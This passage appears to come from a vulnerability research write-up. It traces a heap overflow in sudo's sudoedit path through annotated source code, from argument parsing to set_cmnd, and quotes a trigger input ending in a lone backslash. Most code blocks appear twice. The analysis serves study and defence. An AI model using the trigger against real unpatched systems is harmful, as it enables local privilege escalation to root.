case MODE_EDIT:
case MODE_RUN:
    policy_check(...);

case MODE_EDIT:
case MODE_RUN:
    policy_check(...);

From src/parse_args.c we see how sudoedit behaves differently from sudo -e:

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    		struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
  int mode = 0;		/* what mode is sudo to be run in? */
  int flags = 0;		/* mode flags */
  int valid_flags = DEFAULT_VALID_FLAGS;	// Flags initialized by default
  int ch, i;
  char *cp;
  const char *progname;
  ...

  /* First, check to see if we were invoked as "sudoedit". */
  proglen = strlen(progname);
  if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      progname = "sudoedit";
	  mode = MODE_EDIT;
	  sudo_settings[ARG_SUDOEDIT].value = "true";
    }
	...
        
  for (;;) {
	if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
	    switch (ch) {
                ...
            
            // for `sudo -e`
            case 'e':
                if (mode && mode != MODE_EDIT)
                usage_excl();
                mode = MODE_EDIT;
                sudo_settings[ARG_SUDOEDIT].value = "true";
                valid_flags = MODE_NONINTERACTIVE;	// [!] removes MODE_SHELL flag
		    	break;
                ...

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    		struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
  int mode = 0;		/* what mode is sudo to be run in? */
  int flags = 0;		/* mode flags */
  int valid_flags = DEFAULT_VALID_FLAGS;	// Flags initialized by default
  int ch, i;
  char *cp;
  const char *progname;
  ...

  /* First, check to see if we were invoked as "sudoedit". */
  proglen = strlen(progname);
  if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
      progname = "sudoedit";
	  mode = MODE_EDIT;
	  sudo_settings[ARG_SUDOEDIT].value = "true";
    }
	...
        
  for (;;) {
	if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
	    switch (ch) {
                ...
            
            // for `sudo -e`
            case 'e':
                if (mode && mode != MODE_EDIT)
                usage_excl();
                mode = MODE_EDIT;
                sudo_settings[ARG_SUDOEDIT].value = "true";
                valid_flags = MODE_NONINTERACTIVE;	// [!] removes MODE_SHELL flag
		    	break;
                ...

So, calling binary as sudoedit OR running sudo -e ... will both set MODE_EDIT. but the latter one will remove the MODE_SHELL flag at the same time. Thus sudo -e won't accept extra command-line arguments and trigger an error (returning usage()), according to line 562:

SET(flags, MODE_SHELL);
}
if ((flags & valid_flags) != flags)
usage();

SET(flags, MODE_SHELL);
}
if ((flags & valid_flags) != flags)
usage();

Therefore, sudo -e is too strict; only sudoedit survives with extra arguments intact.

No other flag reset inside the sudoedit code snippet. When progname = "sudoedit", it just lights up the MODE_EDIT, with MODE_SHELL initialized by default, see line 120:

/*
 * Default flags allowed when running a command.
 */
#define DEFAULT_VALID_FLAGS	(MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

/*
 * Default flags allowed when running a command.
 */
#define DEFAULT_VALID_FLAGS	(MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

After bypassing the valid_flags check, execution flows into shell mode at line 604:

/*
 * For shell mode we need to rewrite argv
 * - This block reconstructs argv[] so that commands are passed correctly
 *   when using a shell (e.g., `sh -c "command"`).
 */
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {	// [!] only When MODE_RUN is set
  char **av, *cmnd = NULL;
  int ac = 1;		// Start with one argument: the shell itself
  
  if (argc != 0) {
      // Construct the equivalent of: shell -c "command"
      ...
  
      // [!] Copy each argument into cmnd, escaping special characters
      for (av = argv; *av != NULL; av++) {
      for (src = *av; *src != '\0'; src++) {
          // If the character is not alphanumeric, _, -, or $,
          if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
          // then it prefixes the character with a backslash (\)
          *dst++ = '\\';
          // and always appends the character itself
          *dst++ = *src;
      }
      ...
  }

  ...
  
  // Null-terminate the new argv list
  av[ac] = NULL;	// [!] no command-line argument can end with a single backslash character ('\')
      
  // Update argv and argc to point to the new arguments
  argv = av;
  argc = ac;
}

/*
 * For shell mode we need to rewrite argv
 * - This block reconstructs argv[] so that commands are passed correctly
 *   when using a shell (e.g., `sh -c "command"`).
 */
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {	// [!] only When MODE_RUN is set
  char **av, *cmnd = NULL;
  int ac = 1;		// Start with one argument: the shell itself
  
  if (argc != 0) {
      // Construct the equivalent of: shell -c "command"
      ...
  
      // [!] Copy each argument into cmnd, escaping special characters
      for (av = argv; *av != NULL; av++) {
      for (src = *av; *src != '\0'; src++) {
          // If the character is not alphanumeric, _, -, or $,
          if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
          // then it prefixes the character with a backslash (\)
          *dst++ = '\\';
          // and always appends the character itself
          *dst++ = *src;
      }
      ...
  }

  ...
  
  // Null-terminate the new argv list
  av[ac] = NULL;	// [!] no command-line argument can end with a single backslash character ('\')
      
  // Update argv and argc to point to the new arguments
  argv = av;
  argc = ac;
}

It will have to reconstruct argv[] so that commands are passed correctly. If MODE_RUN + MODE_SHELL, arguments get reconstructed into a safe sh -c … form: every weird char escaped (\, ", _, -, $, etc.), and are always Null terminated.

But if MODE_EDIT, the logic is different. It also accept extra arguments for it sets MODE_SHELL as well ,but not MODE_RUN(see line 653):

/*
 * For sudoedit we need to rewrite argv
 */
if (mode == MODE_EDIT) {
#if defined(HAVE_SETRESUID) || defined(HAVE_SETREUID) || defined(HAVE_SETEUID)
    char **av;
    int ac;

    ...

    /* Must have the command in argv[0]. */
    av[0] = "sudoedit";

    // Shift the original arguments right by one position.
    for (ac = 0; argv[ac] != NULL; ac++) {
        av[ac + 1] = argv[ac];
    }

    // NULL-terminate and publish the new argv/argc
    av[++ac] = NULL;
    argv = av;
    argc = ac;
    ...
        
    *settingsp = sudo_settings;
    *env_addp = extra_env.envp;
    *nargc = argc;
    *nargv = argv;
    debug_return_int(mode | flags);
}

/*
 * For sudoedit we need to rewrite argv
 */
if (mode == MODE_EDIT) {
#if defined(HAVE_SETRESUID) || defined(HAVE_SETREUID) || defined(HAVE_SETEUID)
    char **av;
    int ac;

    ...

    /* Must have the command in argv[0]. */
    av[0] = "sudoedit";

    // Shift the original arguments right by one position.
    for (ac = 0; argv[ac] != NULL; ac++) {
        av[ac + 1] = argv[ac];
    }

    // NULL-terminate and publish the new argv/argc
    av[++ac] = NULL;
    argv = av;
    argc = ac;
    ...
        
    *settingsp = sudo_settings;
    *env_addp = extra_env.envp;
    *nargc = argc;
    *nargv = argv;
    debug_return_int(mode | flags);
}

Here, no escaping. It simply prepends "sudoedit" to original args and passes them along raw. That's why our fuzzed payload sudoedit -i '\' aaaa... worked — the literal backslash (\) slipped through unmodified.

Additionally, when we pass the -i/-s option to sudo or sudoedit, the flag MODE_LOGIN_SHELL or MODE_SHELL will be set as well (a condition to fulfil the exploit for set_cmnd() later):

case 'i':
    sudo_settings[ARG_LOGIN_SHELL].value = "true";
    SET(flags, MODE_LOGIN_SHELL);	// ← LOGIN shell flag

case 's':
    sudo_settings[ARG_USER_SHELL].value = "true";
    SET(flags, MODE_SHELL);			// ← plain shell flag

case 'i':
    sudo_settings[ARG_LOGIN_SHELL].value = "true";
    SET(flags, MODE_LOGIN_SHELL);	// ← LOGIN shell flag

case 's':
    sudo_settings[ARG_USER_SHELL].value = "true";
    SET(flags, MODE_SHELL);			// ← plain shell flag

• MODE_SHELL: Tells the policy plugin to build a shell -c … pseudo-command.
• MODE_LOGIN_SHELL: Performs login-shell tweaks.

Further down in parse_args() at line 549:

if (ISSET(flags, MODE_LOGIN_SHELL)) {
    if (ISSET(flags, MODE_SHELL)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -s options"));
        usage();		// -i and -s together?  die
    }
    if (ISSET(flags, MODE_PRESERVE_ENV)) {
        sudo_warnx("%s",
        	U_("you may not specify both the -i and -E options"));
        usage();		// -i and -E together?  die
    }
    SET(flags, MODE_SHELL);		// [!] ← convert LOGIN → SHELL
}

if (ISSET(flags, MODE_LOGIN_SHELL)) {
    if (ISSET(flags, MODE_SHELL)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -s options"));
        usage();		// -i and -s together?  die
    }
    if (ISSET(flags, MODE_PRESERVE_ENV)) {
        sudo_warnx("%s",
        	U_("you may not specify both the -i and -E options"));
        usage();		// -i and -E together?  die
    }
    SET(flags, MODE_SHELL);		// [!] ← convert LOGIN → SHELL
}

So:

• With -i: Initially MODE_LOGIN_SHELL is set. Then this block adds MODE_SHELL for it
• With -s: It already had MODE_SHELL; this block does nothing.

A proper combination of these flag options eventually leads us to the desired code path in sudoers_policy_main and set_cmnd, accepting extra new arguments as a shell command should do.

6.2.3. policy_check

Once parse_args() lands us in MODE_EDIT, execution funnels into policy_check() (sudo.c:1157) — the trampoline from core sudo into the policy plugin

See src/sudo.c at line 1157:

static void
policy_check(int argc, char * const argv[],
            char *env_add[], char **command_info[], char **argv_out[],
            char **user_env_out[])
{
  ...

  // Ensures check_policy() is implemented in the loaded plugin.
  if (policy_plugin.u.policy->check_policy == NULL) {
      sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
	  policy_plugin.name);
    }
    ...
    
  // Core call — jump into plugin check - [!] USER CONTROLLED
  ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
										command_info, argv_out, user_env_out, &errstr);
  ...

static void
policy_check(int argc, char * const argv[],
            char *env_add[], char **command_info[], char **argv_out[],
            char **user_env_out[])
{
  ...

  // Ensures check_policy() is implemented in the loaded plugin.
  if (policy_plugin.u.policy->check_policy == NULL) {
      sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
	  policy_plugin.name);
    }
    ...
    
  // Core call — jump into plugin check - [!] USER CONTROLLED
  ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
										command_info, argv_out, user_env_out, &errstr);
  ...

Everything interesting crosses this boundary:

• argc, argv → our normalized, but attacker-influenced nargv from parse_args().
• env_add → attacker-controlled environment adds.
• Out-params (command_info, argv_out, user_env_out) get populated by the plugin using the above.

This is the trust boundary: core sudo validates that a check_policy exists, then punts raw inputs to the plugin.

Question:

Where does check_policy come from? How is it calling the "invisible" sudoers_policy_check subsequently?

The policy_plugin instance is a global container:

struct plugin_container policy_plugin;

struct plugin_container policy_plugin;

The plugin_container structure is defined in src/sudo_plugin_int.h at line 88, holding a union u whose policy member is a pointer to a policy-plugin v1.2+ descriptor:

/*
 * Sudo plugin internals.
 */
struct plugin_container {
    ...
    union {
        struct generic_plugin *generic;
        struct policy_plugin *policy;			    //  [!] we'll end up here
        struct policy_plugin_1_0 *policy_1_0;	//  ↳ older APIs
        struct io_plugin *io;
        struct io_plugin_1_0 *io_1_0;
        struct io_plugin_1_1 *io_1_1;
        struct audit_plugin *audit;
        struct approval_plugin *approval;
    } u;
};

/*
 * Sudo plugin internals.
 */
struct plugin_container {
    ...
    union {
        struct generic_plugin *generic;
        struct policy_plugin *policy;			    //  [!] we'll end up here
        struct policy_plugin_1_0 *policy_1_0;	//  ↳ older APIs
        struct io_plugin *io;
        struct io_plugin_1_0 *io_1_0;
        struct io_plugin_1_1 *io_1_1;
        struct audit_plugin *audit;
        struct approval_plugin *approval;
    } u;
};

The newer policy_plugin is described in include/sudo_plugin.h at line 163:

Here is where the check_policy function pointer comes from. Its function signature:

int (*check_policy)(int argc, char * const argv[],
                    char *env_add[], char **command_info[],
                    char **argv_out[], char **user_env_out[],
                    const char **errstr);

int (*check_policy)(int argc, char * const argv[],
                    char *env_add[], char **command_info[],
                    char **argv_out[], char **user_env_out[],
                    const char **errstr);

Back to src/sudo.c, we see how this pointer is wired at runtime.

First, plugin is loaded via sudo_load_plugins():

/* Load plugins. */
if (!sudo_load_plugins())
    sudo_fatalx("%s", U_("fatal error, unable to load plugins"));

/* Load plugins. */
if (!sudo_load_plugins())
    sudo_fatalx("%s", U_("fatal error, unable to load plugins"));

Where sudo_load_plugins() is defined in src/load_plugins.c at line 476:

/*
 * Load the plugins listed in sudo.conf.
 */
bool
sudo_load_plugins(void)
{
  struct plugin_info_list *plugins;
  struct plugin_info *info, *next;
  bool ret = false;
  ...
        
  // Walks the list from sudo.conf; for each entry calls sudo_load_plugin(...)
  if (...) {	// Relates to policy_plugin, io_plugins, audit_plugins
      ...
            
      ret = sudo_load_plugin(info, false);
      ...
      ret = sudo_load_sudoers_plugin("sudoers_policy", false);
      ...
	    ret = sudo_load_sudoers_plugin("sudoers_io", false);
	    ...
      sudo_load_sudoers_plugin("sudoers_audit", true)
      ...

  // After all plugins are processed, it checks:
            
  /* TODO: check all plugins for open function too */
  if (policy_plugin.u.policy->check_policy == NULL) {
	sudo_warnx(U_("policy plugin %s does not include a check_policy method"),
				policy_plugin.name);
	ret = false;
	goto done;
  }
  // Confirm the global now contains a usable check_policy pointer.
  ...

/*
 * Load the plugins listed in sudo.conf.
 */
bool
sudo_load_plugins(void)
{
  struct plugin_info_list *plugins;
  struct plugin_info *info, *next;
  bool ret = false;
  ...
        
  // Walks the list from sudo.conf; for each entry calls sudo_load_plugin(...)
  if (...) {	// Relates to policy_plugin, io_plugins, audit_plugins
      ...
            
      ret = sudo_load_plugin(info, false);
      ...
      ret = sudo_load_sudoers_plugin("sudoers_policy", false);
      ...
	    ret = sudo_load_sudoers_plugin("sudoers_io", false);
	    ...
      sudo_load_sudoers_plugin("sudoers_audit", true)
      ...

  // After all plugins are processed, it checks:
            
  /* TODO: check all plugins for open function too */
  if (policy_plugin.u.policy->check_policy == NULL) {
	sudo_warnx(U_("policy plugin %s does not include a check_policy method"),
				policy_plugin.name);
	ret = false;
	goto done;
  }
  // Confirm the global now contains a usable check_policy pointer.
  ...

It loads the plugins listed in sudo.conf, and calling sudo_load_plugin() internally defined at line 265 to initialize the global structures:

/*
 * Load the plugin specified by "info".
 */
static bool
sudo_load_plugin(struct plugin_info *info, bool quiet)
{
  struct generic_plugin *plugin;
  ...
        
  // Initializing policy_plugin, io_plugins, audit_plugins, approval_plugins
        
  // Copies the dlopen handle, path, options
  // and the pointer to the exported struct into the global policy_plugin
  if (!fill_container(&policy_plugin, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_IO_PLUGIN:
  if (!sudo_insert_plugin(&io_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_AUDIT_PLUGIN:
  if (!sudo_insert_plugin(&audit_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_APPROVAL_PLUGIN:
  if (!sudo_insert_plugin(&approval_plugins, handle, path, plugin, info))
	  goto done;
  break;
  ...

/*
 * Load the plugin specified by "info".
 */
static bool
sudo_load_plugin(struct plugin_info *info, bool quiet)
{
  struct generic_plugin *plugin;
  ...
        
  // Initializing policy_plugin, io_plugins, audit_plugins, approval_plugins
        
  // Copies the dlopen handle, path, options
  // and the pointer to the exported struct into the global policy_plugin
  if (!fill_container(&policy_plugin, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_IO_PLUGIN:
  if (!sudo_insert_plugin(&io_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_AUDIT_PLUGIN:
  if (!sudo_insert_plugin(&audit_plugins, handle, path, plugin, info))
	  goto done;
  break;
  case SUDO_APPROVAL_PLUGIN:
  if (!sudo_insert_plugin(&approval_plugins, handle, path, plugin, info))
	  goto done;
  break;
  ...

This code initializes the global object policy_plugin:

Especially, it executes

sudo_load_sudoers_plugin("sudoers_policy", false);

sudo_load_sudoers_plugin("sudoers_policy", false);

That loads libexec/sudo/sudoers.so, which is built from plugins/sudoers/policy.c. See line 1166:

sudo_dso_public struct policy_plugin sudoers_policy = {
    SUDO_POLICY_PLUGIN,
    SUDO_API_VERSION,
    sudoers_policy_open,
    sudoers_policy_close,
    sudoers_policy_version,
    sudoers_policy_check,		  // ⇦ .check_policy()
    sudoers_policy_list,
    sudoers_policy_validate,
    sudoers_policy_invalidate,
    sudoers_policy_init_session,
    sudoers_policy_register_hooks,
    NULL /* event_alloc() filled in by sudo */
};

sudo_dso_public struct policy_plugin sudoers_policy = {
    SUDO_POLICY_PLUGIN,
    SUDO_API_VERSION,
    sudoers_policy_open,
    sudoers_policy_close,
    sudoers_policy_version,
    sudoers_policy_check,		  // ⇦ .check_policy()
    sudoers_policy_list,
    sudoers_policy_validate,
    sudoers_policy_invalidate,
    sudoers_policy_init_session,
    sudoers_policy_register_hooks,
    NULL /* event_alloc() filled in by sudo */
};

Therefore …

When policy_check() (in src/sudo.c) later executes:

ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

it really calls:

sudoers_policy_check(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

sudoers_policy_check(argc, argv, env_add,
        command_info, argv_out, user_env_out, &errstr);

inside the sudoers plugin.

6.2.4. sudoers_policy_check

sudoers_policy_check() is the trampoline of the exploit chain, defined in plugins/sudoers/policy.c at line 1012:

static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
                    char **command_infop[], char **argv_out[], char **user_env_out[],
                    const char **errstr)
{
  ...

  // Build exec_args → where the plugin will place its results
  exec_args.argv = argv_out;	// → pointer we pass back to front-end
  exec_args.envp = user_env_out;
  exec_args.info = command_infop;

  // [!] Core dispatch: all user-controlled argv/env reach here
  ret = sudoers_policy_main(argc,        // attacker-controlled    
                          argv,          // attacker-controlled    
                          0,             // nfiles (sudoedit only) 
                          env_add,       // attacker-controlled    
                          false,         // preserve cwd flag      
                          &exec_args);   // out-parameters       
    
    ...

static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
                    char **command_infop[], char **argv_out[], char **user_env_out[],
                    const char **errstr)
{
  ...

  // Build exec_args → where the plugin will place its results
  exec_args.argv = argv_out;	// → pointer we pass back to front-end
  exec_args.envp = user_env_out;
  exec_args.info = command_infop;

  // [!] Core dispatch: all user-controlled argv/env reach here
  ret = sudoers_policy_main(argc,        // attacker-controlled    
                          argv,          // attacker-controlled    
                          0,             // nfiles (sudoedit only) 
                          env_add,       // attacker-controlled    
                          false,         // preserve cwd flag      
                          &exec_args);   // out-parameters       
    
    ...

User-controlled data (argc, argv, env_add) is passed directly to sudoers_policy_main().

6.2.5. sudoers_policy_main

The called sudoers_policy_main() is defined in plugins/sudoers/sudoers.c at line 331, which re-constructs attacker-controlled argv and crashes in set_cmnd():

int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    				bool verbose, void *closure)
{
  ...

  /*
   * Make a local copy of argc/argv, with special handling
   * for pseudo-commands and the '-i' option.
   */
  if (argc == 0) {	// sudoedit with 0 args
  NewArgc = 1;
  NewArgv = reallocarray(NULL, NewArgc + 1, sizeof(char *));
  ...
    // Restrict to call user_cmnd only 
    NewArgv[0] = user_cmnd;		// defined in sudoers.h: #define user_cmnd (sudo_user.cmnd)
    NewArgv[1] = NULL;
  } else {
    /* Must leave an extra slot before NewArgv for bash's --login */
    NewArgc = argc;		// [!] attacker-controlled
    NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));	
    ...

  /* Find command in path and apply per-command Defaults. */
  // [!] Vuln entry
  cmnd_status = set_cmnd();	// ← pivot to overflow
  ...

int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    				bool verbose, void *closure)
{
  ...

  /*
   * Make a local copy of argc/argv, with special handling
   * for pseudo-commands and the '-i' option.
   */
  if (argc == 0) {	// sudoedit with 0 args
  NewArgc = 1;
  NewArgv = reallocarray(NULL, NewArgc + 1, sizeof(char *));
  ...
    // Restrict to call user_cmnd only 
    NewArgv[0] = user_cmnd;		// defined in sudoers.h: #define user_cmnd (sudo_user.cmnd)
    NewArgv[1] = NULL;
  } else {
    /* Must leave an extra slot before NewArgv for bash's --login */
    NewArgc = argc;		// [!] attacker-controlled
    NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));	
    ...

  /* Find command in path and apply per-command Defaults. */
  // [!] Vuln entry
  cmnd_status = set_cmnd();	// ← pivot to overflow
  ...

It clones the attacker-controlled argv into a mutable vector and prepares it for policy evaluation:

• All original arguments (already massaged by parse_args()) are now copied into NewArgv.
• The reserved “extra slot before NewArgv” is only for splicing --login; not directly risky, but it's why -i and -s steer into a shell-flavored path later.

This block's purpose is only to massage argv[] in shell mode; it does not decide whether the overflow happens—but leading to the vulnerable entry: set_cmnd().

6.2.6. set_cmnd

According to the ASAN report, the found heap overflow eventually occurs exactly in plugins/sudoers/sudoers.c at line 976, which is inside the static set_cmnd() function defined in file plugins/sudoers/sudoers.c at line 917:

/*
 * Fill in user_cmnd, user_args, user_base and user_stat variables
 * and apply any command-specific defaults entries.
 */
static int
set_cmnd(void)
{
    struct sudo_nss *nss;
    int ret = FOUND;
    debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN);

    /* Allocate user_stat for find_path() and match functions. */
    user_stat = calloc(1, sizeof(struct stat));
    ...

    /* Default value for cmnd, overridden below. */
    if (user_cmnd == NULL)
	user_cmnd = NewArgv[0];		// If not already set, use NewArgv[0]

    // Only set command path/args if mode is RUN, EDIT, or CHECK
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
	if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
	    ...
        debug_return_int(ret);	// if MODE_RUN, it returns (fails reaching vuln)
	    }
	}

    // [!] Vuln entry
    //     set user_args: string of all arguments after command
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {		// [!] size controllable
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(NOT_FOUND_ERROR);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;		
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    } else {
		for (to = user_args, av = NewArgv + 1; *av; av++) {
		    n = strlcpy(to, *av, size - (to - user_args));
		    if (n >= size - (to - user_args)) {
			sudo_warnx(U_("internal error, %s overflow"), __func__);
			debug_return_int(NOT_FOUND_ERROR);
		    }
		    to += n;
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
	  }
    }
...

/*
 * Fill in user_cmnd, user_args, user_base and user_stat variables
 * and apply any command-specific defaults entries.
 */
static int
set_cmnd(void)
{
    struct sudo_nss *nss;
    int ret = FOUND;
    debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN);

    /* Allocate user_stat for find_path() and match functions. */
    user_stat = calloc(1, sizeof(struct stat));
    ...

    /* Default value for cmnd, overridden below. */
    if (user_cmnd == NULL)
	user_cmnd = NewArgv[0];		// If not already set, use NewArgv[0]

    // Only set command path/args if mode is RUN, EDIT, or CHECK
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
	if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
	    ...
        debug_return_int(ret);	// if MODE_RUN, it returns (fails reaching vuln)
	    }
	}

    // [!] Vuln entry
    //     set user_args: string of all arguments after command
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {		// [!] size controllable
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(NOT_FOUND_ERROR);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;		
			*to++ = *from++;
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    } else {
		for (to = user_args, av = NewArgv + 1; *av; av++) {
		    n = strlcpy(to, *av, size - (to - user_args));
		    if (n >= size - (to - user_args)) {
			sudo_warnx(U_("internal error, %s overflow"), __func__);
			debug_return_int(NOT_FOUND_ERROR);
		    }
		    to += n;
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
	  }
    }
...